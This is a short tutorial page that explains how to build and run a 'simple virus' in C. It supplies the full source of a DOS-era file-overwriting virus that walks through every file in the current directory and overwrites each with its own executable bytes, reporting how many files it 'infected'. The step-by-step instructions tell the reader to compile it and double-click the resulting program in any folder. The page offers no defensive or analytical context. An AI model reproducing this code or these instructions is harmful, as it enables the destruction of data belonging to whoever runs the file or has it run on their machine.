Create A Simple Virus In C

How to make simple virus in c language. this code help to convert your human resource data to unreadable binary format.

How can work : 

1. Copy this code, and paste the any editor.
2. After then you. just compile on this file. don't run this file.
3. After then you can check your current directory where you save your source code file. in current directory you can find one executable file. just copy and paste this executable file in any directory or folder and press double click or run that executable file.
4. Then you can check any data and file.

For Example
File name : virus.c

   
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> 
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end; 
void main()
{    
 st=clock();    
 clrscr();    
 done=findfirst("*.*",&ffblk,0);                           
 while(!done)    
 {        
  virus=fopen(_argv[0],"rb");        
  host=fopen(ffblk.ff_name,"rb+");        
  if(host==NULL) 
   goto next;       
  x=89088;        
  printf("Infecting %s\n",ffblk.ff_name,a);        
  while(x>2048)        
  {            
   fread(buff,2048,1,virus);            
   fwrite(buff,2048,1,host);            
   x-=2048;        
  }        
  fread(buff,x,1,virus);        
  fwrite(buff,x,1,host);        
  a++;        
  next:        
  {            
   fcloseall();            
   done=findnext(&ffblk);        
  }    
 }    
 printf("DONE! (Total Files Infected= %d)",a);    
 end=clock();    
 printf("\n\nTIME TAKEN=%f SEC\n",    (end-st)/CLK_TCK);    
 getch();
}
